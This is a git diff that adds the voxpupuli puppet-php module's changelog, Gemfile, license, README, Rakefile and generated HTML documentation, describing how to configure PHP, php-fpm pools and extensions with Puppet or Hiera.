+ * Style fixes all over the place
+ * Module dependencies are now bound to the current major version
+
+## 2.0.3
+ * Some issues & bugs with extensions were fixed
+ * If you set the `provider` parameter of an extension to `"none"`, no
+ extension packages will be installed
+ * The EPEL yum repo has been added for RedHat systems
+
+## 2.0.2
+ * Adds support for `header_packages` on all extensions
+ * Adds `install_options` to pear package provider
+
+## 2.0.1
+ * This is a pure bug fix release
+ * Fix for CVE 2014-0185 (https://bugs.php.net/bug.php?id=67060)
+
+## 2.0.0
+ * Remove augeas and switch to puppetlabs/inifile for configs
+ * Old: `settings => [‘set PHP/short_open_tag On‘]`
+ * New: `settings => {‘PHP/short_open_tag’ => ‘On‘}`
+ * Settings parmeter cleanups
+ * The parameter `config` of `php::extension` resources is now called `settings`
+ * The parameters `user` and `group` of `php::fpm` have been moved to `php::fpm::config`
+ * New parameter `php::settings` for global settings (i.e. CLI & FPM)
+ * New parameter `php::cli` to disable CLI if supported
+
+## 1.1.2
+ * SLES: PHP 5.5 will now be installed
+ * Pecl extensions now autoload the .so based on $name instead of $title
+
+## 1.1.1
+ * some nasty bugs with the pecl php::extension provider were fixed
+ * php::extension now has a new pecl_source parameter for specifying custom
+ source channels for the pecl provider
+
+## 1.1.0
+ * add phpunit to main class
+ * fix variable access for augeas
+
+## 1.0.2
+ * use correct suse apache service name
+ * fix anchoring of augeas
+
+## 1.0.1
+ * fixes #9 undefined pool_base_dir
+
+## 1.0.0
+Initial release
+
+[4.1.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v4.0.0...v4.1.0
+[4.0.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v3.4.2...v4.0.0
+
+
+\* *This Changelog was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*
\ No newline at end of file
diff --git a/modules/utilities/unix/web_frameworks/php/Gemfile b/modules/utilities/unix/web_frameworks/php/Gemfile
new file mode 100644
index 000000000..57fcafa19
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/Gemfile
@@ -0,0 +1,77 @@
+source ENV['GEM_SOURCE'] || "https://rubygems.org"
+
+def location_for(place, fake_version = nil)
+ if place =~ /^(git[:@][^#]*)#(.*)/
+ [fake_version, { :git => $1, :branch => $2, :require => false }].compact
+ elsif place =~ /^file:\/\/(.*)/
+ ['>= 0', { :path => File.expand_path($1), :require => false }]
+ else
+ [place, { :require => false }]
+ end
+end
+
+group :test do
+ gem 'puppetlabs_spec_helper', '~> 2.6.0', :require => false
+ gem 'rspec-puppet', '~> 2.5', :require => false
+ gem 'rspec-puppet-facts', :require => false
+ gem 'rspec-puppet-utils', :require => false
+ gem 'puppet-lint-leading_zero-check', :require => false
+ gem 'puppet-lint-trailing_comma-check', :require => false
+ gem 'puppet-lint-version_comparison-check', :require => false
+ gem 'puppet-lint-classes_and_types_beginning_with_digits-check', :require => false
+ gem 'puppet-lint-unquoted_string-check', :require => false
+ gem 'puppet-lint-variable_contains_upcase', :require => false
+ gem 'metadata-json-lint', :require => false
+ gem 'redcarpet', :require => false
+ gem 'rubocop', '~> 0.49.1', :require => false if RUBY_VERSION >= '2.3.0'
+ gem 'rubocop-rspec', '~> 1.15.0', :require => false if RUBY_VERSION >= '2.3.0'
+ gem 'mocha', '>= 1.2.1', :require => false
+ gem 'coveralls', :require => false
+ gem 'simplecov-console', :require => false
+ gem 'rack', '~> 1.0', :require => false if RUBY_VERSION < '2.2.2'
+ gem 'parallel_tests', :require => false
+end
+
+group :development do
+ gem 'travis', :require => false
+ gem 'travis-lint', :require => false
+ gem 'guard-rake', :require => false
+ gem 'overcommit', '>= 0.39.1', :require => false
+end
+
+group :system_tests do
+ gem 'winrm', :require => false
+ if beaker_version = ENV['BEAKER_VERSION']
+ gem 'beaker', *location_for(beaker_version)
+ else
+ gem 'beaker', '>= 3.9.0', :require => false
+ end
+ if beaker_rspec_version = ENV['BEAKER_RSPEC_VERSION']
+ gem 'beaker-rspec', *location_for(beaker_rspec_version)
+ else
+ gem 'beaker-rspec', :require => false
+ end
+ gem 'serverspec', :require => false
+ gem 'beaker-puppet_install_helper', :require => false
+ gem 'beaker-module_install_helper', :require => false
+end
+
+group :release do
+ gem 'github_changelog_generator', :require => false, :git => 'https://github.com/skywinder/github-changelog-generator' if RUBY_VERSION >= '2.2.2'
+ gem 'puppet-blacksmith', :require => false
+ gem 'voxpupuli-release', :require => false, :git => 'https://github.com/voxpupuli/voxpupuli-release-gem'
+ gem 'puppet-strings', '~> 1.0', :require => false
+end
+
+
+
+if facterversion = ENV['FACTER_GEM_VERSION']
+ gem 'facter', facterversion.to_s, :require => false, :groups => [:test]
+else
+ gem 'facter', :require => false, :groups => [:test]
+end
+
+ENV['PUPPET_VERSION'].nil? ? puppetversion = '~> 5.0' : puppetversion = ENV['PUPPET_VERSION'].to_s
+gem 'puppet', puppetversion, :require => false, :groups => [:test]
+
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/web_frameworks/php/HISTORY.md b/modules/utilities/unix/web_frameworks/php/HISTORY.md
new file mode 100644
index 000000000..7d7db7a61
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/HISTORY.md
@@ -0,0 +1,222 @@
+## [v5.0.0](https://github.com/voxpupuli/puppet-php/tree/v5.0.0) (2017-08-07)
+### Summary
+This backwards-incompatible release drops puppet 3, PHP 5.5 on Ubuntu, and the deprecated `php::extension` parameter `pecl_source`. It improves much of the internal code quality, and adds several useful features the most interesting of which is probably the `php::extension` parameter `ini_prefix`.
+
+### Changed
+- Drop puppet 3 compatibility.
+- Bumped puppetlabs-apt lower bound to 4.1.0
+- Bumped puppetlabs-stdlib lower bound to 4.13.1
+
+### Removed
+- Deprecated `php::extension` define parameters `pecl_source`. Use `source` instead.
+- PHP 5.5 support on ubuntu.
+
+### Added
+- `php` class parameters `fpm_user` and `fpm_group` to customize php-fpm user/group.
+- `php::fpm` class parameters `user` and `group`.
+- `php::fpm::pool` define parameter `pm_process_idle_timeout` and pool.conf `pm.process_idle_timeout` directive.
+- `php::extension` class parameters `ini_prefix` and `install_options`.
+- Archlinux compatibility.
+- Bumped puppetlabs-apt upper bound to 5.0.0
+
+### Fixed
+- Replaced validate functions with data types.
+- Linting issues.
+- Replace legacy facts with facts hash.
+- Simplify `php::extension`
+- Only apt dependency when `manage_repos => true`
+- No more example42/yum dependency
+
+## 2017-02-11 Release [4.0.0]
+
+This is the last release with Puppet3 support!
+* Fix a bug turning `manage_repos` off on wheezy
+* Fix a deprecation warning on `apt::key` when using `manage_repos` on wheezy (#110). This change requires puppetlabs/apt at >= 1.8.0
+* Allow removal of config values (#124)
+* Add `phpversion` fact, for querying through PuppetDB or Foreman (#119)
+* Allow configuring the fpm pid file (#123)
+* Add embedded SAPI support (#115)
+* Add options to fpm config and pool configs (#139)
+* Add parameter logic for PHP 7 on Ubuntu/Debian (#180)
+* add SLES PHP 7.0 Support (#220)
+* allow packaged extensions to be loaded as zend extensions
+* Fix command to enable php extensions (#226)
+* Fix many rucocop warnings
+* Update module Ubuntu 14.04 default to official repository setup
+* Fix dependency for extentions with no package source
+* Allow packaged extensions to be loaded as Zend extensions
+* Support using an http proxy for downloading composer
+* Refactor classes php::fpm and php::fpm:service
+* Manage apache/PHP configurations on Debian and RHEL systems
+* use voxpupuli/archive to download composer
+* respect $manage_repos, do not include ::apt if set to false
+* Bump min version_requirement for Puppet + deps
+* allow pipe param for pecl extensions
+* Fix: composer auto_update: exec's environment must be array
+
+### Breaking Changes
+ * Deep merge `php::extensions` the same way as `php::settings`. This technically is a
+ breaking change but should not affect many people.
+ * PHP 5.6 is the default version on all systems now (except Ubuntu 16.04, where 7.0 is the default).
+ * There's a php::globals class now, where global paramters (like the PHP version) are set. (#132)
+ * Removal of php::repo::ubuntu::ppa (#218)
+
+## 3.4.2
+ * Fix a bug that changed the default of `php::manage_repos` to `false` on
+ Debian-based operating systems except wheezy. It should be turned on by
+ default. (#116)
+ * Fix a bug that prevented reloading php-fpm on Ubuntu in some cases.
+ (#117, #107)
+
+## 3.4.1
+ * Fix reloading php-fpm on Ubuntu trusty & utopic (#107)
+
+## 3.4.0
+ * New parameter `ppa` for class `php::repo::ubuntu` to specify the ppa
+ name to use. We default to `ondrej/php5-oldstable` for precise and
+ `ondrej/php5` otherwise.
+ * New parameter `include` for `php::fpm::pool` resources to specify
+ custom configuration files.
+
+## 3.3.1
+ * Make `systemd_interval` parameter for class `php::fpm::config` optional
+
+## 3.3.0
+ * `php::extension` resources:
+ * New boolean parameter `settings_prefix` to automatically prefix all
+ settings keys with the extensions names. Defaults to false to ensurre
+ the current behaviour.
+ * New string parameter `so_name` to set the DSO name of an extension if
+ it doesn't match the package name.
+ * New string parameter `php_api_version` to set a custom api version. If
+ not `undef`, the `so_name` is prefixed with the full module path in the
+ ini file. Defaults to `undef`.
+ * The default of the parameter `listen_allowed_clients` of `php::fpm::pool`
+ resources is now `undef` instead of `'127.0.0.1'`. This way it is more
+ intuitive to change the default tcp listening socket at `127.0.0.1:9000`
+ to a unix socket by only setting the `listen` parameter instead of
+ additionally needing to unset `listen_allowed_clients`. This has no
+ security implications.
+ * New parameters for the `php::fpm::config` class:
+ * `error_log`
+ * `syslog_facility`
+ * `syslog_ident`
+ * `systemd_interval`
+ * A bug that prevented merging the global `php::settings` parameter into
+ SAPI configs for `php::cli` and `php::fpm` was fixed.
+ * The dotdeb repos are now only installed for Debian wheezy as Debian jessie
+ has a sufficiently recent PHP version.
+
+## 3.2.2
+ * Fix a typo in hiera keys `php::settings` & `php::fpm::settings` (#83)
+
+## 3.2.1
+ * Fixed default `yum_repo` key in `php::repo::redhat`
+ * On Ubuntu precise we now use the ondrej/php5-oldstable ppa. This can be
+ manually enabled with by setting `$php::repo::ubuntu::oldstable` to
+ `true`.
+ * `$php::ensure` now defaults to `present` instead of `latest`. Though,
+ strictly speaking, this represents a functional change, we consider this
+ to be a bugfix because automatic updates should be enabled explicitely.
+ * `$php::ensure` is not anymore passed to `php::extension` resources as
+ default ensure parameter because this doesn't make sense.
+
+## 3.2.0
+ * Support for FreeBSD added by Frank Wall
+ * RedHat now uses remi-php56 yum repo by default
+ * The resource `php::fpm::pool` is now public, you can use it in your
+ manifests without using `$php::fpm::pools`
+ * We now have autogenerated documentation using `puppetlabs/strings`
+
+## 3.1.0
+ * New parameter `pool_purge` for `php::extension` to remove files not
+ managed by puppet from the pool directory.
+ * The `pecl_source` parameter for `php::extension` was renamend to
+ `source` because it is also useful for PEAR extensions.
+ `pecl_source` can still be used but is deprecated and will be
+ removed in the next major release.
+ * Parameters referring to time in `php::fpm::config` can now be
+ specified with units (i.e. `'60s'`, `'1d'`):
+ * `emergency_restart_threshold`
+ * `emergency_restart_interval`
+ * `process_control_timeout`
+ * The PEAR version is not independant of `$php::ensure` and can be
+ configured with `$php::pear_ensure`
+ * Give special thanks to the contributors of this release:
+ * Petr Sedlacek
+ * Sherlan Moriah
+
+## 3.0.1
+ * Fix typo in package suffix for php-fpm on RHEL in params.pp
+
+## 3.0.0
+ * Removes `$php::fpm::pool::error_log`. Use the `php_admin_flag` and
+ `php_admin_value` parameters to set the php settings `log_errors` and
+ `error_log` instead.
+ * Removes support for PHP 5.3 on Debian-based systems. See the notes in the
+ README for more information.
+ * Removes the `php_version` fact which had only worked on the later puppet runs.
+ * Moves CLI-package handling to `php::packages`
+ * Allows changing the package prefix via `php::package_prefix`.
+ * Moves FPM-package handling from `php::fpm::package` to `php::fpm`
+ * Changes `php::packages`, so that `php::packages::packages` becomes
+ `php::packages::names` and are installed and `php::packages::names_to_prefix`
+ are installed prefixed by `php::package_prefix`.
+ * PHPUnit is now installed as phar in the same way composer is installed,
+ causing all parameters to change
+ * The `php::extension` resource has a new parameter: `zend`. If set to true,
+ exenstions that were installed with pecl are loaded with `zend_extension`.
+
+## 2.0.4
+ * Style fixes all over the place
+ * Module dependencies are now bound to the current major version
+
+## 2.0.3
+ * Some issues & bugs with extensions were fixed
+ * If you set the `provider` parameter of an extension to `"none"`, no
+ extension packages will be installed
+ * The EPEL yum repo has been added for RedHat systems
+
+## 2.0.2
+ * Adds support for `header_packages` on all extensions
+ * Adds `install_options` to pear package provider
+
+## 2.0.1
+ * This is a pure bug fix release
+ * Fix for CVE 2014-0185 (https://bugs.php.net/bug.php?id=67060)
+
+## 2.0.0
+ * Remove augeas and switch to puppetlabs/inifile for configs
+ * Old: `settings => [‘set PHP/short_open_tag On‘]`
+ * New: `settings => {‘PHP/short_open_tag’ => ‘On‘}`
+ * Settings parmeter cleanups
+ * The parameter `config` of `php::extension` resources is now called `settings`
+ * The parameters `user` and `group` of `php::fpm` have been moved to `php::fpm::config`
+ * New parameter `php::settings` for global settings (i.e. CLI & FPM)
+ * New parameter `php::cli` to disable CLI if supported
+
+## 1.1.2
+ * SLES: PHP 5.5 will now be installed
+ * Pecl extensions now autoload the .so based on $name instead of $title
+
+## 1.1.1
+ * some nasty bugs with the pecl php::extension provider were fixed
+ * php::extension now has a new pecl_source parameter for specifying custom
+ source channels for the pecl provider
+
+## 1.1.0
+ * add phpunit to main class
+ * fix variable access for augeas
+
+## 1.0.2
+ * use correct suse apache service name
+ * fix anchoring of augeas
+
+## 1.0.1
+ * fixes #9 undefined pool_base_dir
+
+## 1.0.0
+Initial release
+
+[4.1.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v4.0.0...v4.1.0
+[4.0.0]: https://github.com/olivierlacan/keep-a-changelog/compare/v3.4.2...v4.0.0
diff --git a/modules/utilities/unix/web_frameworks/php/LICENSE.txt b/modules/utilities/unix/web_frameworks/php/LICENSE.txt
new file mode 100644
index 000000000..89dce46c0
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/LICENSE.txt
@@ -0,0 +1,23 @@
+The MIT License (MIT)
+
+Copyright (c) 2012-2013 Christian "Jippi" Winther
+ Tobias Nyholm
+ 2014-2015 Mayflower GmbH
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/modules/utilities/unix/web_frameworks/php/README.md b/modules/utilities/unix/web_frameworks/php/README.md
new file mode 100644
index 000000000..c49ed40af
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/README.md
@@ -0,0 +1,334 @@
+[](https://forge.puppetlabs.com/puppet/php)
+[](https://travis-ci.org/voxpupuli/puppet-php)
+
+## Current Status
+As the original creators of `puppet-php` are no longer maintaining the module, it has been handed over into the care of Vox Pupuli.
+Please be sure to update all your links to the new location.
+
+# voxpupuli/php Puppet Module
+
+voxpupuli/php is a Puppet module for managing PHP with a strong focus
+on php-fpm. The module aims to use sane defaults for the supported
+architectures. We strive to support all recent versions of Debian,
+Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache
+with `mod_php` is not supported.
+
+This originally was a fork of [jippi/puppet-php](https://github.com/jippi/puppet-php)
+(nodes-php on Puppet Forge) but has since been rewritten in large parts.
+
+## Usage
+
+Quickest way to get started is simply `include`'ing the _`php` class_.
+
+```puppet
+include '::php'
+```
+
+Or, you can override defaults and specify additional custom
+configurations by declaring `class { '::php': }` with parameters:
+
+```puppet
+class { '::php':
+ ensure => latest,
+ manage_repos => true,
+ fpm => true,
+ dev => true,
+ composer => true,
+ pear => true,
+ phpunit => false,
+}
+```
+
+Optionally the PHP version or configuration root directory can be changed also:
+
+```puppet
+class { '::php::globals':
+ php_version => '7.0',
+ config_root => '/etc/php/7.0',
+}->
+class { '::php':
+ manage_repos => true
+}
+```
+
+There are more configuration options available. Please refer to the
+auto-generated documentation at http://php.puppet.mayflower.de/.
+
+### Defining `php.ini` settings
+
+PHP configuration parameters in `php.ini` files can be defined as parameter
+`settings` on the main `php` class, or `php::fpm` / `php::cli` classes,
+or `php::extension` resources for each component independently.
+
+These settings are written into their respective `php.ini` file. Global
+settings in `php::settings` are merged with the settings of all components.
+Please note that settings of extensions are always independent.
+
+In the following example the PHP options and timezone will be set in
+all PHP configurations, i.e. the PHP cli application and all php-fpm pools.
+
+```puppet
+ class { '::php':
+ settings => {
+ 'PHP/max_execution_time' => '90',
+ 'PHP/max_input_time' => '300',
+ 'PHP/memory_limit' => '64M',
+ 'PHP/post_max_size' => '32M',
+ 'PHP/upload_max_filesize' => '32M',
+ 'Date/date.timezone' => 'Europe/Berlin',
+ },
+ }
+```
+
+### Installing extensions
+
+PHP configuration parameters in `php.ini` files can be defined
+as parameter `extensions` on the main `php` class. They are
+activated for all activated SAPIs.
+
+```puppet
+ class { '::php':
+ extensions => {
+ bcmath => { },
+ imagick => {
+ provider => pecl,
+ },
+ xmlrpc => { },
+ memcached => {
+ provider => 'pecl',
+ header_packages => [ 'libmemcached-devel', ],
+ },
+ apc => {
+ provider => 'pecl',
+ settings => {
+ 'apc/stat' => '1',
+ 'apc/stat_ctime' => '1',
+ },
+ sapi => 'fpm',
+ },
+ },
+ }
+```
+
+See [the documentation](http://php.puppet.mayflower.de/php/extension.html)
+of the `php::extension` resource for all available parameters and default
+values.
+
+### Defining php-fpm pools
+
+If different php-fpm pools are required, you can use `php::fpm::pool`
+defined resource type. A single pool called `www` will be configured
+by default. Specify additional pools like so:
+
+```puppet
+ php::fpm::pool { 'www2':
+ listen => '127.0.1.1:9000',
+ }
+```
+
+For an overview of all possible parameters for `php::fpm::pool` resources
+please see [its documention](http://php.puppet.mayflower.de/php/fpm/pool.html).
+
+### Overriding php-fpm user
+
+By default, php-fpm is set up to run as Apache. If you need to customize that user, you can do that like so:
+
+```puppet
+ class { '::php':
+ fpm_user => 'nginx',
+ fpm_group => 'nginx',
+ }
+```
+
+### PHP with one FPM pool per user
+
+This will create one vhost. $users is an array of people having php files at
+$fqdn/$user. This codesnipped uses voxpupuli/php and voxpupuli/nginx to create
+the vhost and one php fpm pool per user. This was tested on Archlinux with
+nginx 1.13 and PHP 7.2.3.
+
+```puppet
+$users = ['bob', 'alice']
+
+class { 'php':
+ ensure => 'present',
+ manage_repos => false,
+ fpm => true,
+ dev => false,
+ composer => false,
+ pear => true,
+ phpunit => false,
+ fpm_pools => {},
+}
+
+include nginx
+
+nginx::resource::server{$facts['fqdn']:
+ www_root => '/var/www',
+ autoindex => 'on',
+}
+nginx::resource::location{'dontexportprivatedata':
+ server => $facts['fqdn'],
+ location => '~ /\.',
+ location_deny => ['all'],
+}
+$users.each |$user| {
+ # create one fpm pool. will be owned by the specific user
+ # fpm socket will be owned by the nginx user 'http'
+ php::fpm::pool{$user:
+ user => $user,
+ group => $user,
+ listen_owner => 'http',
+ listen_group => 'http',
+ listen_mode => '0660',
+ listen => "/var/run/php-fpm/${user}-fpm.sock",
+ }
+ nginx::resource::location { "${name}_root":
+ ensure => 'present',
+ server => $facts['fqdn'],
+ location => "~ .*${user}\/.*\.php$",
+ index_files => ['index.php'],
+ fastcgi => "unix:/var/run/php-fpm/${user}-fpm.sock",
+ include => ['fastcgi.conf'],
+ }
+}
+```
+
+### Alternative examples using Hiera
+Alternative to the Puppet DSL code examples above, you may optionally define your PHP configuration using Hiera.
+
+Below are all the examples you see above, but defined in YAML format for use with Hiera.
+
+```yaml
+---
+php::ensure: latest
+php::manage_repos: true
+php::fpm: true
+php::fpm_user: 'nginx'
+php::fpm_group: 'nginx'
+php::dev: true
+php::composer: true
+php::pear: true
+php::phpunit: false
+php::settings:
+ 'PHP/max_execution_time': '90'
+ 'PHP/max_input_time': '300'
+ 'PHP/memory_limit': '64M'
+ 'PHP/post_max_size': '32M'
+ 'PHP/upload_max_filesize': '32M'
+ 'Date/date.timezone': 'Europe/Berlin'
+php::extensions:
+ bcmath: {}
+ xmlrpc: {}
+ imagick:
+ provider: pecl
+ memcached:
+ provider: pecl
+ header_packages:
+ - libmemcached-dev
+ apc:
+ provider: pecl
+ settings:
+ 'apc/stat': 1
+ 'apc/stat_ctime': 1
+ sapi: 'fpm'
+php::fpm::pools:
+ www2:
+ listen: '127.0.1.1:9000'
+```
+
+## Notes
+
+### Debian squeeze & Ubuntu precise come with PHP 5.3
+
+On Debian-based systems, we use `php5enmod` to enable extension-specific
+configuration. This script is only present in `php5` packages beginning with
+version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore.
+
+We strongly suggest you use a recent PHP version, even if you're using an
+older though still supported distribution release. Our default is to have
+`php::manage_repos` enabled to add apt sources for
+[Dotdeb](http://www.dotdeb.org/) on Debian and
+[ppa:ondrej/php5](https://launchpad.net/~ondrej/+archive/ubuntu/php5/) on
+Ubuntu with packages for the current stable PHP version closely tracking
+upstream.
+
+### Ubuntu systems and Ondřej's PPA
+
+The older Ubuntu PPAs run by Ondřej have been deprecated (ondrej/php5, ondrej/php5.6)
+in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0
+Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer:
+
+```
+php::globals::php_version: '5.6'
+php::fpm: true
+php::dev: true
+php::composer: true
+php::pear: true
+php::phpunit: false
+```
+
+If you do not specify a php version, in Ubuntu the default will be 7.0 if you are
+running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions)
+
+### Apache support
+
+Apache with `mod_php` is not supported by this module. Please use
+[puppetlabs/apache](https://forge.puppetlabs.com/puppetlabs/apache) instead.
+
+We prefer using php-fpm. You can find an example Apache vhost in
+`manifests/apache_vhost.pp` that shows you how to use `mod_proxy_fcgi` to
+connect to php-fpm.
+
+### Facts
+
+We deliver a `phpversion` fact with this module. This is explicitly **NOT** intended
+to be used within your puppet manifests as it will only work on your second puppet
+run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman.
+
+### FreeBSD support
+
+On FreeBSD systems we purge the system-wide `extensions.ini` in favour of
+per-module configuration files.
+
+Please also note that support for Composer and PHPUnit on FreeBSD is untested
+and thus likely incomplete.
+
+### Running the test suite
+
+To run the tests install the ruby dependencies with `bundler` and execute
+`rake`:
+
+```
+bundle install --path vendor/bundle
+bundle exec rake
+```
+
+## Bugs & New Features
+
+If you happen to stumble upon a bug, please feel free to create a pull request
+with a fix (optionally with a test), and a description of the bug and how it
+was resolved.
+
+Or if you're not into coding, simply create an issue adding steps to let us
+reproduce the bug and we will happily fix it.
+
+If you have a good idea for a feature or how to improve this module in general,
+please create an issue to discuss it. We are very open to feedback. Pull
+requests are always welcome.
+
+We hate orphaned and unmaintained Puppet modules as much as you do and
+therefore promise that we will continue to maintain this module and keep
+response times to issues short. If we happen to lose interest, we will write
+a big fat warning into this README to let you know.
+
+## License
+
+The project is released under the permissive MIT license.
+
+The source can be found at
+[github.com/voxpupuli/puppet-php](https://github.com/voxpupuli/puppet-php/).
+
+This Puppet module was originally maintained by some fellow puppeteers at
+[Mayflower GmbH](https://mayflower.de) and is now maintained by
+[Vox Pupuli](https://voxpupuli.org/).
diff --git a/modules/utilities/unix/web_frameworks/php/Rakefile b/modules/utilities/unix/web_frameworks/php/Rakefile
new file mode 100644
index 000000000..279580ac6
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/Rakefile
@@ -0,0 +1,92 @@
+require 'puppetlabs_spec_helper/rake_tasks'
+
+# load optional tasks for releases
+# only available if gem group releases is installed
+begin
+ require 'puppet_blacksmith/rake_tasks'
+ require 'voxpupuli/release/rake_tasks'
+ require 'puppet-strings/tasks'
+rescue LoadError
+end
+
+PuppetLint.configuration.log_format = '%{path}:%{line}:%{check}:%{KIND}:%{message}'
+PuppetLint.configuration.fail_on_warnings = true
+PuppetLint.configuration.send('relative')
+PuppetLint.configuration.send('disable_140chars')
+PuppetLint.configuration.send('disable_class_inherits_from_params_class')
+PuppetLint.configuration.send('disable_documentation')
+PuppetLint.configuration.send('disable_single_quote_string_with_variables')
+
+exclude_paths = %w(
+ pkg/**/*
+ vendor/**/*
+ .vendor/**/*
+ spec/**/*
+)
+PuppetLint.configuration.ignore_paths = exclude_paths
+PuppetSyntax.exclude_paths = exclude_paths
+
+desc 'Auto-correct puppet-lint offenses'
+task 'lint:auto_correct' do
+ PuppetLint.configuration.fix = true
+ Rake::Task[:lint].invoke
+end
+
+desc 'Run acceptance tests'
+RSpec::Core::RakeTask.new(:acceptance) do |t|
+ t.pattern = 'spec/acceptance'
+end
+
+desc 'Run tests metadata_lint, release_checks'
+task test: [
+ :metadata_lint,
+ :release_checks,
+]
+
+desc "Run main 'test' task and report merged results to coveralls"
+task test_with_coveralls: [:test] do
+ if Dir.exist?(File.expand_path('../lib', __FILE__))
+ require 'coveralls/rake/task'
+ Coveralls::RakeTask.new
+ Rake::Task['coveralls:push'].invoke
+ else
+ puts 'Skipping reporting to coveralls. Module has no lib dir'
+ end
+end
+
+desc "Print supported beaker sets"
+task 'beaker_sets', [:directory] do |t, args|
+ directory = args[:directory]
+
+ metadata = JSON.load(File.read('metadata.json'))
+
+ (metadata['operatingsystem_support'] || []).each do |os|
+ (os['operatingsystemrelease'] || []).each do |release|
+ if directory
+ beaker_set = "#{directory}/#{os['operatingsystem'].downcase}-#{release}"
+ else
+ beaker_set = "#{os['operatingsystem'].downcase}-#{release}-x64"
+ end
+
+ filename = "spec/acceptance/nodesets/#{beaker_set}.yml"
+
+ puts beaker_set if File.exists? filename
+ end
+ end
+end
+
+begin
+ require 'github_changelog_generator/task'
+ GitHubChangelogGenerator::RakeTask.new :changelog do |config|
+ version = (Blacksmith::Modulefile.new).version
+ config.future_release = "v#{version}" if version =~ /^\d+\.\d+.\d+$/
+ config.header = "# Changelog\n\nAll notable changes to this project will be documented in this file.\nEach new release typically also includes the latest modulesync defaults.\nThese should not affect the functionality of the module."
+ config.exclude_labels = %w{duplicate question invalid wontfix wont-fix modulesync skip-changelog}
+ config.user = 'voxpupuli'
+ metadata_json = File.join(File.dirname(__FILE__), 'metadata.json')
+ metadata = JSON.load(File.read(metadata_json))
+ config.project = metadata['name']
+ end
+rescue LoadError
+end
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html b/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html
new file mode 100644
index 000000000..54615e004
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html
@@ -0,0 +1,105 @@
+
+
+
+
+
+
+ Module: Puppet::Parser::Functions
+
+ — Documentation by YARD 0.9.9
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
As the original creators of puppet-php are no longer maintaining the module, it has been handed over into the care of Vox Pupuli.
+Please be sure to update all your links to the new location.
+
+
voxpupuli/php Puppet Module
+
+
voxpupuli/php is a Puppet module for managing PHP with a strong focus
+on php-fpm. The module aims to use sane defaults for the supported
+architectures. We strive to support all recent versions of Debian,
+Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache
+with mod_php is not supported.
+
+
This originally was a fork of jippi/puppet-php
+(nodes-php on Puppet Forge) but has since been rewritten in large parts.
+
+
Usage
+
+
Quickest way to get started is simply include'ing the php class.
+
+
include '::php'
+
+
+
Or, you can override defaults and specify additional custom
+configurations by declaring class { '::php': } with parameters:
There are more configuration options available. Please refer to the
+auto-generated documentation at http://php.puppet.mayflower.de/.
+
+
Defining php.ini settings
+
+
PHP configuration parameters in php.ini files can be defined as parameter
+settings on the main php class, or php::fpm / php::cli classes,
+or php::extension resources for each component independently.
+
+
These settings are written into their respective php.ini file. Global
+settings in php::settings are merged with the settings of all components.
+Please note that settings of extensions are always independent.
+
+
In the following example the PHP options and timezone will be set in
+all PHP configurations, i.e. the PHP cli application and all php-fpm pools.
PHP configuration parameters in php.ini files can be defined
+as parameter extensions on the main php class. They are
+activated for all activated SAPIs.
See the documentation
+of the php::extension resource for all available parameters and default
+values.
+
+
Defining php-fpm pools
+
+
If different php-fpm pools are required, you can use php::fpm::pool
+defined resource type. A single pool called www will be configured
+by default. Specify additional pools like so:
On Debian-based systems, we use php5enmod to enable extension-specific
+configuration. This script is only present in php5 packages beginning with
+version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore.
+
+
We strongly suggest you use a recent PHP version, even if you're using an
+older though still supported distribution release. Our default is to have
+php::manage_repos enabled to add apt sources for
+Dotdeb on Debian and
+ppa:ondrej/php5 on
+Ubuntu with packages for the current stable PHP version closely tracking
+upstream.
+
+
Ubuntu systems and Ondřej's PPA
+
+
The older Ubuntu PPAs run by Ondřej have been deprecated (ondrej/php5, ondrej/php5.6)
+in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0
+Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer:
If you do not specify a php version, in Ubuntu the default will be 7.0 if you are
+running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions)
+
+
Apache support
+
+
Apache with mod_php is not supported by this module. Please use
+puppetlabs/apache instead.
+
+
We prefer using php-fpm. You can find an example Apache vhost in
+manifests/apache_vhost.pp that shows you how to use mod_proxy_fcgi to
